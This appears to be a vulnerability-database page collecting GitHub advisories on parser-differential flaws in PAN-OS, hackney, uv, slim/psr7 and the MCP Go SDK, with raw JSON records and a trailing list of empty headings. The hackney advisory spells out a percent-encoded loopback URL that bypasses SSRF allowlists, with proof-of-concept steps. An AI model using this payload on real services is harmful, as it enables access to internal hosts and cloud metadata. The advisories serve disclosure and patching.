PAN-OS software provides options to exclude specific websites from URL category enforcement and those websites are blocked or allowed (depending on your rules) regardless of their associated URL category. This is done by creating a custom URL category list or by using an external dynamic list (EDL) in a URL Filtering profile. When the entries in these lists have a hostname pattern that does not end with a forward slash (/) or a hostname pattern that ends with an asterisk (), any URL that starts with the specified pattern is considered a match. Entries with a caret (^) at the end of a hostname pattern match any top level domain. This may inadvertently allow or block more URLs than intended and allowing more URLs than intended represents a security risk. For example: example.com will match example.com.website.test example.com. will match example.com.website.test example.com.^ will match example.com.test You should take special care when using such entries in policy rules that allow traffic. Where possible, use the exact list of hostname names ending with a forward slash (/) instead of using wildcards. PAN-OS 10.1 versions earlier than PAN-OS 10.1.3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 9.1 versions earlier than PAN-OS 9.1.12; all PAN-OS 9.0 versions; PAN-OS 8.1 versions earlier than PAN-OS 8.1.21, and Prisma Access 2.2 and 2.1 versions do not allow customers to change this behavior without changing the URL category list or EDL.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-0011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-10T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "PAN-OS software provides options to exclude specific websites from URL category enforcement and those websites are blocked or allowed (depending on your rules) regardless of their associated URL category. This is done by creating a custom URL category list or by using an external dynamic list (EDL) in a URL Filtering profile. When the entries in these lists have a hostname pattern that does not end with a forward slash (/) or a hostname pattern that ends with an asterisk (*), any URL that starts with the specified pattern is considered a match. Entries with a caret (^) at the end of a hostname pattern match any top level domain. This may inadvertently allow or block more URLs than intended and allowing more URLs than intended represents a security risk. For example: example.com will match example.com.website.test example.com.* will match example.com.website.test example.com.^ will match example.com.test You should take special care when using such entries in policy rules that allow traffic. Where possible, use the exact list of hostname names ending with a forward slash (/) instead of using wildcards. PAN-OS 10.1 versions earlier than PAN-OS 10.1.3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 9.1 versions earlier than PAN-OS 9.1.12; all PAN-OS 9.0 versions; PAN-OS 8.1 versions earlier than PAN-OS 8.1.21, and Prisma Access 2.2 and 2.1 versions do not allow customers to change this behavior without changing the URL category list or EDL.",
  "id": "GHSA-pc4w-x9p8-64j7",
  "modified": "2022-02-18T00:00:57Z",
  "published": "2022-02-11T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0011"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2022-0011"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PJ7V-XFVX-WMJQ

Vulnerability from github – Published: 2026-06-26 21:54 – Updated: 2026-06-26 21:54

Summary

Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host

Details

Summary

hackney_url:normalize/2 URL-decodes the host component of a parsed URL, but the caller's SSRF allowlist runs before normalization using OTP's uri_string:parse/1 and inet:parse_address/1, neither of which decodes percent-escapes in hostnames. A URL like http://%31%32%37%2E%30%2E%30%2E%31/ presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney's normalizer then decodes it to 127.0.0.1 and connects to loopback. Because hackney:request/5 always calls normalize/2 with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.

Details

In src/hackney_url.erl (lines 161–186), normalize/2 checks whether the parsed host is already a dotted-quad or IPv6 literal via inet_parse:address/1. Percent-encoded forms like %31%32%37%2E%30%2E%30%2E%31 fail that check and fall into the catch-all branch, where urldecode/1 decodes the host before passing it to IDNA conversion:

Host1 = binary_to_list(
           urldecode(unicode:characters_to_binary(Host0))
         ),

The decoded host ("127.0.0.1") replaces the original in the returned #hackney_url{} record. hackney:request/5 at src/hackney.erl:463 always calls normalize/2, so the decoded host is what do_dispatch/1 and add_host_header/2 ultimately use. The on-wire Host: header and the TCP connect target both reflect the decoded value.

The same payload pattern reaches the AWS/GCP/Azure IMDS (169.254.169.254), RFC1918 ranges, and any localhost admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in parse_url/1 and did not touch normalize/2.

PoC

Validate the URL with the canonical Erlang SSRF allowlist: uri_string:parse/1 returns host <<"%31%32%37%2E%30%2E%30%2E%31">>, inet:parse_address/1 returns {error, einval}, so the allowlist accepts it.
Pass the same URL to hackney:get/1.
hackney's normalize/2 decodes the host to "127.0.0.1" and connects to 127.0.0.1:80. The internal service receives the request with Host: 127.0.0.1.

Impact

Unauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, localhost admin interfaces, and RFC1918 backends. CVSS v4.0: 6.9 (MEDIUM).

Resources

Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a
Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "hackney"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:54:55Z",
    "nvd_published_at": "2026-05-25T15:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`hackney_url:normalize/2` URL-decodes the host component of a parsed URL, but the caller\u0027s SSRF allowlist runs before normalization using OTP\u0027s `uri_string:parse/1` and `inet:parse_address/1`, neither of which decodes percent-escapes in hostnames. A URL like `http://%31%32%37%2E%30%2E%30%2E%31/` presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney\u0027s normalizer then decodes it to `127.0.0.1` and connects to loopback. Because `hackney:request/5` always calls `normalize/2` with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.\n\n### Details\n\nIn `src/hackney_url.erl` (lines 161\u2013186), `normalize/2` checks whether the parsed host is already a dotted-quad or IPv6 literal via `inet_parse:address/1`. Percent-encoded forms like `%31%32%37%2E%30%2E%30%2E%31` fail that check and fall into the catch-all branch, where `urldecode/1` decodes the host before passing it to IDNA conversion:\n\n```erlang\nHost1 = binary_to_list(\n           urldecode(unicode:characters_to_binary(Host0))\n         ),\n```\n\nThe decoded host (`\"127.0.0.1\"`) replaces the original in the returned `#hackney_url{}` record. `hackney:request/5` at `src/hackney.erl:463` always calls `normalize/2`, so the decoded host is what `do_dispatch/1` and `add_host_header/2` ultimately use. The on-wire `Host:` header and the TCP connect target both reflect the decoded value.\n\nThe same payload pattern reaches the AWS/GCP/Azure IMDS (`169.254.169.254`), RFC1918 ranges, and any `localhost` admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in `parse_url/1` and did not touch `normalize/2`.\n\n### PoC\n\n1. Validate the URL with the canonical Erlang SSRF allowlist: `uri_string:parse/1` returns host `\u003c\u003c\"%31%32%37%2E%30%2E%30%2E%31\"\u003e\u003e`, `inet:parse_address/1` returns `{error, einval}`, so the allowlist accepts it.\n2. Pass the same URL to `hackney:get/1`.\n3. hackney\u0027s `normalize/2` decodes the host to `\"127.0.0.1\"` and connects to `127.0.0.1:80`. The internal service receives the request with `Host: 127.0.0.1`.\n\n### Impact\n\nUnauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, `localhost` admin interfaces, and RFC1918 backends. CVSS v4.0: **6.9 (MEDIUM)**.\n\n## Resources\n\n* Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a\n* Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f",
  "id": "GHSA-pj7v-xfvx-wmjq",
  "modified": "2026-06-26T21:54:55Z",
  "published": "2026-06-26T21:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/security/advisories/GHSA-pj7v-xfvx-wmjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47076"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47076.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benoitc/hackney"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host"
}

GHSA-PQHF-P39G-3X64

Vulnerability from github – Published: 2025-10-29 22:12 – Updated: 2025-10-29 22:12

Summary

uv allows ZIP payload obfuscation through parsing differentials

Details

Impact

In versions 0.9.5 and earlier of uv, ZIP archives were handled in a manner that enabled two parsing differentials against other components of the Python packaging ecosystem:

Central directory entries in a ZIP archive can contain comment fields. However, uv would assume that these fields were not present, since they aren't widely used. Consequently, a ZIP archive could be constructed where uv would interpret the contents of a central directory comment field as ZIP control structures (such as a new central directory entry), rather than skipping over them.
Both local file entries and central directory entries contain filename fields, which are used to place archive members on disk. These fields are arbitrary sequences of bytes, and may therefore be invalid or ambiguous. For example, they may contain ASCII null bytes, in which case different ZIP extractors behave differently: Python's zipfile module truncates the filename at the first null, while uv would skip (not extract) any archive members whose filenames contained nulls. Because of this difference, a ZIP archive could be constructed that would extract differently across different Python package installers.

In both cases, the outcome is that an attacker may be able to produce a ZIP with a consistent digest that expands differently with different Python package installers.

Like with GHSA-8qf3-x8v5-2pj8, the impact of these differentials is limited by a number of factors:

To be compromised via this vulnerability, user interaction of some sort is required. In particular, the user must run uv pip install $package or similar with an attacker-controlled $package. When using wheel distributions, installation of the malicious package is not sufficient for execution of malicious code, the vicim would need to perform a separate invocation, e.g., python -c "import $package".
If a ZIP-based source distribution (which are less common than tarball source distributions), is encountered, malicious code can be executed during package resolution or installation. uv may invoke the malicious code when building the source distribution into a wheel.

Patches

Versions 0.9.6 and newer of uv address both of the parser differentials above, by properly handling comments in central directory entries and by refusing to process ZIPs that contain filename fields that are unlikely to be interpreted consistently across other ZIP parser implementations.

Workarounds

Users are advised to upgrade to 0.9.6 or newer to address this advisory.

Most users should experience no breaking changes as a result of the patch above. However, users who do experience breakage should carefully review their distributions for signs of malicious intent. Users may choose to set UV_INSECURE_NO_ZIP_VALIDATION=1 to revert to the previous behavior.

Attribution

This vulnerability was disclosed by Caleb Brown (Google).

Severity

6.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "uv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-29T22:12:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn versions 0.9.5 and earlier of uv, ZIP archives were handled in a manner that enabled two parsing differentials against other components of the Python packaging ecosystem:\n\n1. Central directory entries in a ZIP archive can contain comment fields. However, uv would assume that these fields were not present, since they aren\u0027t widely used. Consequently, a ZIP archive could be constructed where uv would interpret the contents of a central directory comment field as ZIP control structures (such as a new central directory entry), rather than skipping over them.\n2. Both local file entries and central directory entries contain filename fields, which are used to place archive members on disk. These fields are arbitrary sequences of bytes, and may therefore be invalid or ambiguous. For example, they may contain ASCII null bytes, in which case different ZIP extractors behave differently: Python\u0027s `zipfile` module truncates the filename at the first null, while uv would skip (not extract) any archive members whose filenames contained nulls. Because of this difference, a ZIP archive could be constructed that would extract differently across different Python package installers.\n\nIn both cases, the outcome is that an attacker may be able to produce a ZIP with a consistent digest that expands differently with different Python package installers.\n\nLike with GHSA-8qf3-x8v5-2pj8, the impact of these differentials is limited by a number of factors:\n\n- To be compromised via this vulnerability, user interaction of some sort is required. In particular, the user must run `uv pip install $package` or similar with an attacker-controlled $package.\nWhen using wheel distributions, installation of the malicious package is not sufficient for execution of malicious code, the vicim would need to perform a separate invocation, e.g., `python -c \"import $package\"`.\n- If a ZIP-based source distribution (which are less common than tarball source distributions), is encountered, malicious code can be executed during package resolution or installation. uv may invoke the malicious code when building the source distribution into a wheel.\n\n### Patches\n\nVersions 0.9.6 and newer of uv address both of the parser differentials above, by properly handling comments in central directory entries and by refusing to process ZIPs that contain filename fields that are unlikely to be interpreted consistently across other ZIP parser implementations.\n\n### Workarounds\n\nUsers are advised to upgrade to 0.9.6 or newer to address this advisory.\n\nMost users should experience no breaking changes as a result of the patch above. However, users who do experience breakage should carefully review their distributions for signs of malicious intent. Users may choose to set `UV_INSECURE_NO_ZIP_VALIDATION=1` to revert to the previous behavior.\n\n### Attribution\n\nThis vulnerability was disclosed by Caleb Brown (Google).",
  "id": "GHSA-pqhf-p39g-3x64",
  "modified": "2025-10-29T22:12:57Z",
  "published": "2025-10-29T22:12:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/astral-sh/uv/security/advisories/GHSA-pqhf-p39g-3x64"
    },
    {
      "type": "WEB",
      "url": "https://github.com/astral-sh/uv/commit/da659fee4898a73dbc75070f3e82d49f745e4628"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/astral-sh/uv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "uv allows ZIP payload obfuscation through parsing differentials"
}

GHSA-Q2QJ-628G-VHFW

Vulnerability from github – Published: 2023-04-18 22:20 – Updated: 2023-05-22 14:38

Summary

Insecure header validation in slim/psr7

Details

Impact

An attacker could sneak in a newline (\n) into both the header names and values. While the specification states that \r\n\r\n is used to terminate the header list, many servers in the wild will also accept \n\n. An attacker that is able to control the header names that are passed to Slilm-Psr7 would be able to intentionally craft invalid messages, possibly causing application errors or invalid HTTP requests being sent out with an PSR-18 HTTP client. The latter might present a denial of service vector if a remote service’s web application firewall bans the application due to the receipt of malformed requests.

Patches

The issue is patched in 1.6.1, 1.5.1, and 1.4.1.

Workarounds

In Slim-Psr7 prior to 1.6.1, 1.5.1, and 1.4.1, validate HTTP header keys and/or values, and if using user-supplied values, filter them to strip off leading or trailing newline characters before calling withHeader().

Acknowledgments

We are very grateful to and thank Graham Campbell for reporting and working with us on this issue.

References

Guzzle: CVE-2023-29197, with advisory GHSA-wxmh-65f7-jcvw
Laminas Diactoros: CVE-2023-29530, with advisory GHSA-xv3h-4844-9h36
https://www.rfc-editor.org/rfc/rfc7230#section-3.2.4

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "slim/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "slim/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "slim/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-18T22:20:42Z",
    "nvd_published_at": "2023-04-17T22:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker could sneak in a newline (`\\n`) into both the header names and values. While the specification states that `\\r\\n\\r\\n` is used to terminate the header list, many servers in the wild will also accept `\\n\\n`. An attacker that is able to control the header names that are passed to Slilm-Psr7 would be able to intentionally craft invalid messages, possibly causing application errors or invalid HTTP requests being sent out with an PSR-18 HTTP client. The latter might present a denial of service vector if a remote service\u2019s web application firewall bans the application due to the receipt of malformed requests.\n\n### Patches\n\nThe issue is patched in 1.6.1, 1.5.1, and 1.4.1.\n\n### Workarounds\n\nIn Slim-Psr7 prior to 1.6.1, 1.5.1, and 1.4.1, validate HTTP header keys and/or values, and if using user-supplied values, filter them to strip off leading or trailing newline characters before calling withHeader().\n\n### Acknowledgments\n\nWe are very grateful to and thank \u003ca href=\"https://gjcampbell.co.uk/\"\u003eGraham Campbell\u003c/a\u003e for reporting and working with us on this issue.\n\n### References\n\n* Guzzle: CVE-2023-29197, with advisory GHSA-wxmh-65f7-jcvw\n* Laminas Diactoros: CVE-2023-29530, with advisory GHSA-xv3h-4844-9h36\n* https://www.rfc-editor.org/rfc/rfc7230#section-3.2.4",
  "id": "GHSA-q2qj-628g-vhfw",
  "modified": "2023-05-22T14:38:30Z",
  "published": "2023-04-18T22:20:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/security/advisories/GHSA-q2qj-628g-vhfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30536"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/issues/284#issuecomment-1541328898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/commit/ed1d553225dd190875d8814c47460daed4b550bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/slimphp/Slim-Psr7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/releases/tag/1.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/releases/tag/1.5.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slimphp/Slim-Psr7/releases/tag/1.6.1"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc7230#section-3.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure header validation in slim/psr7"
}

GHSA-Q382-VC8Q-7JHJ

Vulnerability from github – Published: 2026-03-19 12:44 – Updated: 2026-03-19 12:44

Summary

Improper handling of null Unicode character when parsing JSON in github.com/modelcontextprotocol/go-sdk

Details

The Go SDK recently transitioned to the segmentio/encoding library for JSON parsing in version 1.3.1. While this change addressed both case-insensitivity and ASCII folding issues, the new parser implemented aggressive key matching that treated keys with null Unicode characters appended at the end as equivalent to their base strings.

Impact

When combined with duplicate keys, the described behavior leads to a "last key wins" resolution that could override the intended MCP message. This had the potential for: - Bypassing intermediary inspection: Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages. - Cross-implementation inconsistency: Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.

Fix:

The segmentio/encoding package was patched with a fix in https://github.com/segmentio/encoding/commit/7d5a25dbc5da13aed3cb047a127e4d0e96f536fb and a new version of the package was released (v0.5.4). The SDK switched to the patched version of the dependency in 724dd47aa. Users are advised to update to v1.4.1 to resolve this issue.

Credits:

Thank you to Francesco Lacerenza (Doyensec) for reporting this issue.

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/modelcontextprotocol/go-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1395",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:44:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The Go SDK recently transitioned to the `segmentio/encoding` library for JSON parsing in version 1.3.1. While this change addressed both case-insensitivity and ASCII folding issues, the new parser implemented aggressive key matching that treated keys with `null` Unicode characters appended at the end as equivalent to their base strings.\n\n#### Impact\n\nWhen combined with duplicate keys, the described behavior leads to a \"last key wins\" resolution that could override the intended MCP message. This had the potential for:\n  - **Bypassing intermediary inspection:** Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages.\n  - **Cross-implementation inconsistency:** Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.\n\n####  Fix:\n\nThe `segmentio/encoding` package was patched with a fix in https://github.com/segmentio/encoding/commit/7d5a25dbc5da13aed3cb047a127e4d0e96f536fb and a new version of the package was released (`v0.5.4`). The SDK switched to the patched version of the dependency in 724dd47aa. Users are advised to update to v1.4.1 to resolve this issue.\n\n#### Credits:\nThank you to Francesco Lacerenza (Doyensec) for reporting this issue.",
  "id": "GHSA-q382-vc8q-7jhj",
  "modified": "2026-03-19T12:44:07Z",
  "published": "2026-03-19T12:44:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/go-sdk/security/advisories/GHSA-q382-vc8q-7jhj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/go-sdk/commit/724dd47aa3431b9d4cf9ac2eebbf7b38a629afca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/segmentio/encoding/commit/7d5a25dbc5da13aed3cb047a127e4d0e96f536fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/go-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper handling of null Unicode character when parsing JSON in github.com/modelcontextprotocol/go-sdk"
}

CWE-436

Interpretation Conflict

Impact

Patches

Workarounds

References

Assessment

Original report

Summary

Details

Affected versions

Affected APIs

PoC

Backdoor listener PoC (most impactful)

Multi-stage combined PoC

Impact

Suggested Fix

Duplicate Advisory

Original Description

Summary

Details

PoC

Impact

Resources

Impact

Patches

Workarounds

Attribution

Impact

Patches

Workarounds

Acknowledgments

References

Impact

Fix:

Credits:

CAPEC-105: HTTP Request Splitting

CAPEC-273: HTTP Response Smuggling

CAPEC-34: HTTP Response Splitting